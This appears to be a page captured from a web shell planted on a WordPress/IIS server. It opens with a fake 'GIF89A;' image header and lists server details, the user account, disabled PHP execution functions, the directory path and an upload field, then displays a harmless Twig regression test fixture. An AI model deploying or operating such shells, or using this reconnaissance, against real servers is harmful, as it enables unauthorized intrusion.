GIF89A;
Server : Microsoft-IIS/10.0 System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586 User : fatorc ( 0) PHP Version : 5.3.28 Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate Directory : e:/home/fatorc/Web/wp-content/plugins/types/library/twig/twig/test/Twig/Tests/Fixtures/regression/ |
Upload File : |
--TEST-- error in twig extension --TEMPLATE-- {{ object.region is not null ? object.regionChoices[object.region] }} --DATA-- class House { const REGION_S = 1; const REGION_P = 2; public static $regionChoices = array(self::REGION_S => 'house.region.s', self::REGION_P => 'house.region.p'); public function getRegionChoices() { return self::$regionChoices; } } $object = new House(); $object->region = 1; return array('object' => $object) --EXPECT-- house.region.s